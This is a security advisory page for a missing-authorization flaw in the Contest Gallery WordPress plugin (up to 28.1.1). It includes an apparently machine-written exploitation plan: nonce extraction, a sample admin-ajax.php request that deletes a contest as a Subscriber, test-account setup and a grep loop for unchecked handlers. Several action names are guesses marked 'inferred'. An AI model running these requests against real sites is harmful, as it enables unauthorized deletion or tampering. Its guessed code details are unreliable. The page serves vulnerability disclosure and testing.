Contest Gallery <= 28.1.1 - Missing Authorization
Description
The Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 28.1.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=28.1.1Source Code
WordPress.org SVNThis research plan focuses on identifying and exploiting a missing authorization vulnerability in the **Contest Gallery** plugin (versions <= 28.1.1). ### 1. Vulnerability Summary The vulnerability is a **Missing Authorization** (Insecure Direct Object Reference or Lack of Capability Check) within …
Show full research plan
This research plan focuses on identifying and exploiting a missing authorization vulnerability in the Contest Gallery plugin (versions <= 28.1.1).
1. Vulnerability Summary
The vulnerability is a Missing Authorization (Insecure Direct Object Reference or Lack of Capability Check) within an AJAX handler. While the plugin registers AJAX actions for authenticated users via wp_ajax_{action}, it fails to verify if the requesting user has the necessary administrative privileges (e.g., manage_options) before executing the logic. This allows any authenticated user, including those with Subscriber roles, to trigger administrative functions.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - HTTP Method:
POST - Authentication: Required (Subscriber or higher).
- Vulnerable Parameter:
action(identifying the specific AJAX handler). - Payload Parameters: Specific to the identified function (e.g.,
contest_id,gallery_id, or settings arrays). - Preconditions: A valid Subscriber session and, potentially, a valid WordPress nonce.
3. Code Flow (Inferred)
- Registration: The plugin uses
add_action( 'wp_ajax_cg_...', 'callback_function' )in its initialization or AJAX class. - Trigger: A Subscriber sends a POST request to
admin-ajax.phpwithaction=cg_.... - Authentication: WordPress verifies the user is logged in (satisfying the
wp_ajax_requirement). - The Flaw: The
callback_functionchecks for a nonce (sometimes) but fails to callif ( ! current_user_can( 'manage_options' ) ) { wp_die(); }. - Execution: The function performs sensitive operations like deleting a contest, updating settings, or clearing logs.
4. Nonce Acquisition Strategy
If the handler uses check_ajax_referer or wp_verify_nonce, the agent must retrieve the nonce from the frontend.
- Identify Shortcode: Grep for
add_shortcodein the plugin:grep -r "add_shortcode" .(Commonly[contest-gallery]). - Create Trigger Page: Create a page containing the gallery to ensure scripts load:
wp post create --post_type=page --post_status=publish --post_title="Gallery" --post_content='[contest-gallery id="1"]' - Extract Nonce:
- Navigate to the new page using
browser_navigate. - The plugin typically localizes data into a global object.
- JS Variable Guess:
cg_ajax_objectorcontest_gallery_admin_ajax. - Execution:
browser_eval("window.cg_ajax_object?.nonce")or check the source forwp-dieresponse to find the expected nonce key.
- Navigate to the new page using
5. Exploitation Strategy
The agent will target a high-impact action, such as deleting a contest or modifying settings.
Target Action (Inferred): cg_delete_contest or cg_save_options.
Step 1: Identify the exact action string
grep -r "add_action( 'wp_ajax_" . | grep -v "nopriv"
Look for actions that sound administrative (e.g., cg_delete_..., cg_update_..., cg_save_...).
Step 2: Trace the handler
If the action is wp_ajax_cg_delete_contest, find the function:
grep -rn "function cg_delete_contest" .
Verify the absence of current_user_can.
Step 3: Construct the Exploit Request
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=cg_delete_contest&nonce=[NONCE]&contest_id=1
6. Test Data Setup
To demonstrate impact, the agent must ensure data exists to be modified or deleted.
- Activate Plugin:
wp plugin activate contest-gallery - Create a Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Create a Contest: Use WP-CLI to insert a record into the plugin's custom table (usually
wp_cg_contests) or use the admin UI viabrowser_navigateif CLI is unavailable.- Note: Check for table name:
wp db tables | grep cg_
- Note: Check for table name:
7. Expected Results
- Success: The server returns a success code (e.g.,
{"success":true}or1) and the targeted data is removed or altered. - Failure (Patched): The server returns
403 Forbiddenor a-1/0if the capability check is correctly implemented.
8. Verification Steps
After the http_request exploit, use WP-CLI to confirm the state change:
- Check Database:
wp db query "SELECT * FROM wp_cg_contests WHERE id = 1;" - Verify Deletion: If the query returns empty, the exploit succeeded.
- Check Options: If a settings update was targeted:
wp option get cg_settings_key.
9. Alternative Approaches
If cg_delete_contest is protected, look for:
cg_upload_image: Can a Subscriber upload files to a gallery they don't own?cg_reset_votes: Can a Subscriber clear the leaderboard of a contest?cg_save_order: Can a Subscriber reorganize administrative layouts?
Search Pattern for Discovery:
# Find all AJAX handlers and their associated functions
grep -r "add_action.*wp_ajax_" . | awk -F"'" '{print $4}' | while read func; do
echo "Checking $func...";
grep -A 10 "function $func" . -r | grep -L "current_user_can";
done
This loop identifies handlers that register for logged-in users but do not contain a capability check within the first 10 lines of the function body.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.